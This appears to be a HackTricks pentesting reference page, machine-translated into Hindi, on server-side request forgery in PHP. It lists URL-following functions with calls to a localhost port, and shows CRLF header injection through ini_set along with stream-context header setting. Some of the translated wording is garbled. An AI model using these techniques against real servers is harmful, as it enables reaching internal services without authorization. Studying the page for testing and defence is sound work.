PHP SSRF

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Try Hard Security Group


SSRF PHP functions

कुछ फ़ंक्शन जैसे file_get_contents(), fopen(), file(), md5_file() URLs को इनपुट के रूप में स्वीकार करते हैं जिन्हें वे फॉलो करेंगे और संभावित SSRF सुरक्षा दोष उत्पन्न हो सकता है अगर उपयोगकर्ता डेटा को नियंत्रित कर सकता है:

file_get_contents("http://127.0.0.1:8081");
fopen("http://127.0.0.1:8081", "r");
file("http://127.0.0.1:8081");
md5_file("http://127.0.0.1:8081");

CRLF

इसके अतिरिक्त, कुछ मामलों में पिछले फ़ंक्शन में CRLF "कमजोरियों" के माध्यम से विचारहीन हेडर्स भेजना संभव हो सकता है:

# The following will create a header called from with value Hi and
# an extra header "Injected: I HAVE IT"
ini_set("from", "Hi\r\nInjected: I HAVE IT");
file_get_contents("http://127.0.0.1:8081");

GET / HTTP/1.1
From: Hi
Injected: I HAVE IT
Host: 127.0.0.1:8081
Connection: close

# Any of the previously mentioned functions will send those headers

उस CRLF दुरुपयोग के अधिक जानकारी के लिए, इस बग की जांच करें https://bugs.php.net/bug.php?id=81680&edit=1

ध्यान दें कि इन फ़ंक्शन के पास अन्य विधियाँ हो सकती हैं जिनका उपयोग अनुरोधों में विचारात्मक हेडर सेट करने के लिए किया जा सकता है, जैसे:

$url = "";

$options = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar\r\n" .  // check function.stream-context-create on php.net
"User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\r\n" // i.e. An iPad
)
);

$context = stream_context_create($options);
$file = file_get_contents($url, false, $context);

ट्राई हार्ड सिक्योरिटी ग्रुप

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated